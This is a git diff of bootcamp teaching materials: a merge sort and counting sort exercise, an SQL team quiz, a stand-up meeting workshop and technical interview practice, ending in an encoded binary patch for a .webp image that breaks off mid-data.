Merge sort (15 minutes) + +Merge sort splits all of the input into one-element sub-lists. It then takes pairs of those sub-lists and merges them in-order so that each merged list is sorted. It keeps merging those (increasingly large) sub-lists until there's one list, which will be sorted. + +Pseudocode (from Wikipedia): + +``` +function merge_sort(A : list of sortable items) + // Base case. A list of zero or one elements is sorted, by definition. + if length of A ≤ 1 then + return A + + // Recursive case. First, divide the list into equal-sized sublists + // consisting of the first half and second half of the list. + // This assumes lists start at index 0. + left := A[..(len m / 2)] // From the start excluding the m/2th element. + right := A[(len m / 2)..] // From the m/2th element to the end, including the m/2th element. + + // Recursively sort both sublists. + left := merge_sort(left) + right := merge_sort(right) + + // Then merge the now-sorted sublists. + return merge(left, right) +end function +``` + +## Comparing the algorithms (15 minutes) + +Discuss: +1. Which algorithm performed better for your randomly shuffled data? +2. Which has the best worst-case complexity? +3. When would each algorithm make sense to use in real life? + +## Sorting one suit (30 minutes) + +Instead of picking 13 random cards, pick all 13 cards from one suit, so that each card has a unique number. + +The best worst-case we've seen so far is worse than `O(n)`. + +Try to devise an algorithm for sorting these 13 cards which is `O(n)`. If you do, explain to the group why it's `O(n)`, explaining what properties of the cards you're relying on to get this performance. Demonstrate this bound by sorting some cards. + +
                      + +Facilitation hints + +We're aiming for pigeonhole sort or counting sort here. Because we know the values are unique and contiguous, we know what the correct position is for each card (the ace should be in index 0, the 2 in index 1, the 3 in index 2, etc), so don't need to perform any comparisons at all - just insert each value into its correct place. + +This generalises to data where there's a known (e.g. uniform) distribution of values, such as a whole deck of cards. In less precisely controlled distributions, we may not know _exactly_ the destination position for values, but if we can guess well enough, we can do a broad pigeonhole/counting sort and then a few smaller comparison sorts of buckets. + +
                      diff --git a/sql-quiz/readme.md b/sql-quiz/readme.md new file mode 100644 index 00000000..80c2cf8a --- /dev/null +++ b/sql-quiz/readme.md @@ -0,0 +1,93 @@ +# SQL Showdown: Team Quiz + +Welcome, SQL warriors! Today, we'll be putting your database knowledge to the test in a team quiz. Prepare to unleash your SQL prowess and collaborate with your squad to conquer the challenges. + +## Learning Objectives + +- [ ] Work through various SQL queries, testing your knowledge on selecting, filtering, manipulating, and aggregating data. +- [ ] Collaborate with your teammates, discussing approaches and problem-solving together. +- [ ] React quickly and apply your SQL knowledge under a time limit, simulating real-world scenarios. + +## Requirements + +- **Quiz Leader:** The quizmaster needs to prepare the questions, guide the quiz, and keep the energy high. Sample questions are provided below, but you should set your own. Anyone: trainee or volunteer can take this role. Prepare your quiz questions and answers in advance. +- **Timekeeper:** Keep track of time for each round to ensure the quiz runs smoothly. +- **Assemble Your Team:** Get into groups of 3-4. Teamwork makes the dream work +- **Paper & Pen:** Prepare yourselves to write queries and discuss strategies WITHOUT using a computer. +- **A Dash of Fun & Friendly Competition:** Embrace the challenge with a positive and collaborative spirit! + +## The Challenge + +This workshop will be divided into rounds, each presenting a unique SQL query challenge. The scenarios will target various SQL functionalities, so get ready to flex your SQL muscles. + +You will write your answers on paper not on a computer. Close your laptops. You may use printed [SQL CheatSheets](https://learnsql.com/blog/sql-basics-cheat-sheet/) to help you. + +- **Round 1: Data Retrieval:** Test your fundamental SELECT statement skills, filtering and retrieving specific data from a database table. +- **Round 2: Joining the Party:** Level up the difficulty with JOINs, combining data from multiple tables to unlock hidden insights. +- **Round 3: Advanced Arena:** Challenge yourselves with more complex queries, potentially involving functions, aggregations, or subqueries. + +**Bonus Round (Optional):** Feeling confident? The quiz leader may throw in an extra round with a real-world database scenario, pushing your problem-solving abilities. + +## Acceptance Criteria + +- **Participation is Key:** Actively engage with your team, discussing questions and contributing ideas throughout the quiz. +- **Demonstrate SQL Skills:** Work together to formulate correct and efficient SQL queries to solve the presented challenges. +- **Teamwork Triumphs:** Collaborate effectively and communicate your solutions clearly within your team. + +**Bonus Point:** If you tackle the bonus round, aim to deliver a well-structured and insightful solution that addresses the real-world scenario. + +## Let the Games Begin! + +Get ready to unleash your SQL mastery and collaborate with your team to conquer the challenges. Remember, effective communication, teamwork, and a dash of friendly competition are the keys to success! + +## SQL Showdown: Team Quiz Extravaganza - Example Questions + +### Round 1: Data Retrieval 10 minutes + +**Scenario:** You're working with an e-commerce database. + +**Question 1: Say what you see** + +Write a query to select all product names and prices from the `products` table. + +**Question 2: WHERE are we going with this** + +How can you modify the query to only show products with a price greater than $50? + +### Round 2: Joining the Party 10 minutes + +**Scenario:** The e-commerce database also has a table named `orders` that stores information about customer purchases. Each order references a product ID from the `products` table. + +**Question 1: Are you in on this** + +Write a query to retrieve the product name, price, and order quantity for all orders. + +**Question 2: Oh WHERE do we begin** + +Modify the query to only show orders for products with a price greater than $100. + +### Round 3: Advanced Arena 10 minutes + +**Scenario:** Let's add a `customers` table to the mix, containing customer names and their order IDs. + +**Question 1: Does this COUNT AS fun?** + +Write a query to find the total number of orders placed by each customer. + +**Question 2: Are we HAVING fun yet?:** + +How can you modify the query to show only customers who have placed more than 2 orders? + +### Bonus Round: Real-World Scenario + +**Scenario:** The marketing team wants to identify the top 3 most popular products (by total quantity ordered) for a targeted campaign. + +**Challenge:** + +> Write a query to achieve this, considering the tables: `products`, `orders`. + +**Remember:** These are just examples. You can adjust the difficulty level and scenarios based on your group's SQL knowledge and experience. + +## The winning team 🏆 + +Take a victory lap and eternal glory in the CodeYourFuture Hall of Fame. May the best SQL warriors emerge victorious! 🏆🔥 diff --git a/stand-up/readme.md b/stand-up/readme.md new file mode 100644 index 00000000..a576c332 --- /dev/null +++ b/stand-up/readme.md @@ -0,0 +1,61 @@ +# Stand-up [30 minutes]🧍‍♂️ + +Most software development teams have a "[stand-up](https://en.wikipedia.org/wiki/Stand-up_meeting)" every day. Even if a team does not follow the [agile methodology](https://en.wikipedia.org/wiki/Agile_software_development), stand-ups are used to discuss progress and identify blockers. + +## Learning Objectives 🙆 + +```objectives +- [ ] Explain the format of a stand-up meeting +- [ ] Identify the purpose of a stand-up meeting +- [ ] Share a progress update in a stand-up meeting +``` + +## What is a stand-up meeting? + +1. Daily +1. _Short_ +1. Focused + +Traditional stand-up meetings require everyone to **stand up** so that the meeting is short. + +> [!TIP] +> Standup: a focused meeting where all team members share their progress, plans, and problems in a short amount of time. + +> [!NOTE] +> +> ### Activity: Prepare your Stand-up (5m) +> +> 1. Set a timer for 5 minutes +> 2. Write down three bullet points: +> +> 1. What you worked on yesterday +> 2. What issues are blocking you / What problems you encountered +> 3. What you will work on today + +## Set up 🌼 + +- Split up into breakout rooms of 5 - 10 people +- Set a timer for 10 minutes + +## 🧩 Time to Have a First Stand-up + +1. Take turns to describe, in no more than 60 seconds: + - What you worked on this week. + - Something that is blocking you or that you struggled with (do not discuss solutions yet). + - What you plan to work on today. If you need help or want to pair with someone to work on something specific this is a time to communicate that! +1. After everyone has given an update, reflect on next steps together. Is there something that multiple people said they struggled with that you could team up with? Is someone working on something interesting that you want to know more about? +1. Where else can you ask a question when you have a problem? e.g. what Slack channels are suitable? + +> [!TIP] +> +> ### No problem solving in the stand-up! +> +> When someone mentions a problem, it's not the time to discuss **solutions**. The goal is to identify blockers and plan the day. + +## Acceptance Criteria 🧾 + +After this workshop, every participant: + +- [ ] Has participated in a stand-up meeting and can explain what the structure is +- [ ] Has formulated their update in the typical "stand-up" structure +- [ ] Has described at least one technical blocker diff --git a/technical-interviews/README.md b/technical-interviews/README.md new file mode 100644 index 00000000..1422a766 --- /dev/null +++ b/technical-interviews/README.md @@ -0,0 +1,72 @@ +# Technical interviews + +## Learning objectives + +```objectives +- [ ] Perform a technical interview. +- [ ] Explain what you're thinking when solving a problem. +- [ ] Write code in front of someone in an interview setting. +``` + +You will be applying for jobs, many of which require doing a technical interview. + +You should already have [read about technical interviews](https://sdc.codeyourfuture.io/guides/employability/interview/technical-interview-prep/). You should also have done an interview where you explained code in the Piscine. In this workshop, you'll be practising interviewing and being interviewed about technical content. + +Below is a list of interview questions. You should have decided with your partner which question you are asking before coming to class, and should have prepared for it. Do not look at, or prepare for, any of the other questions. + +## Interview questions + +* [Is it a Set?](https://www.codewars.com/kata/5fddfbe6a65636001cc4fcd2) +* [Look and say numbers](https://www.codewars.com/kata/53ea07c9247bc3fcaa00084d) +* [Mix fruit juice](https://www.codewars.com/kata/5905871c00881d0e85000015) +* [Multiples of 3 or 5](https://www.codewars.com/kata/514b92a657cdc65150000006) +* [FizzBuzz Backwards](https://www.codewars.com/kata/59ad13d5589d2a1d84000020) + +## Preparing to interview someone + +Think about your goals as an interviewer. You want to: +* See the best someone can do - you're not trying to trick them. +* Work out how they approach problems: + * Do they make a plan? + * Do they think about edge cases? + * How do they handle not knowing how to do something? + * How easy are they to help? +* Can they solve the problem? +* Can they reason about their code? +* Do they run through their code with examples to test it? + +To do this you will need to: +* Already know a good solution to the problem (ideally multiple solutions!) +* Prepare how you're going to explain the problem +* Listen to the candidate as they're being interviewed + * Work out when they're stuck (but give them enough time to come up with an answer - count slowly in your head to 10 before intervening) + * If they're not telling you what they're thinking, encourage them to talk aloud - say something like "Talk through what you're thinking" + * Give nudges (ideally by asking questions), not answers, to help them get unstuck +* Understand their code, and be able to work out whether it works +* Identify edge cases their code does not work for + +## Giving feedback + +After you interview someone, you will give them feedback. Think about what feedback you would appreciate. Some examples of topics: +* How clearly did they communicate their ideas? (Think about feedback you've heard in demos before) +* Did you always know what they were thinking/doing? +* How easy was their code to read and understand? +* How open were they to help? +* Did they come across as a person you'd want to work with? +* How well do you think they solved the problem? (Note: This doesn't mean "did they solve it the same way you would", though that can be an interesting comparison). + +## Doing the interview (30 minutes per interview) + +In pairs, take turns interviewing your partner. In each interview, one of you will be the interviewer and the other the candidate. + +You should: +* Candidate: Open VS Code on your laptop. +* Interviewer: Spend {{}}2{{}} introducing the problem. It's ok to leave some details out (hopefully the candidate will ask about them), but the question should make sense. +* Candidate: Spend {{}}20{{}} solving the problem. This should be an interactive dialogue, where the interviewer and candidate are talking throughout. +* Spend {{}}8{{}} giving feedback and discussing the interview and experience. + +Then swap. + +## Discussion (30 minutes) + +As a whole class, discuss your experience. What went well? What did/didn't you understand? What things felt uncomfortable? What could you have done differently? Do not focus on the technical specifics of the interview question you did. Focus on general things that will help you in your next interview. diff --git a/technical-writing-one/aortic.webp b/technical-writing-one/aortic.webp new file mode 100644 index 0000000000000000000000000000000000000000..608a9817bddca25c63d9187cf414c40aeeee1ede GIT binary patch literal 165202 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 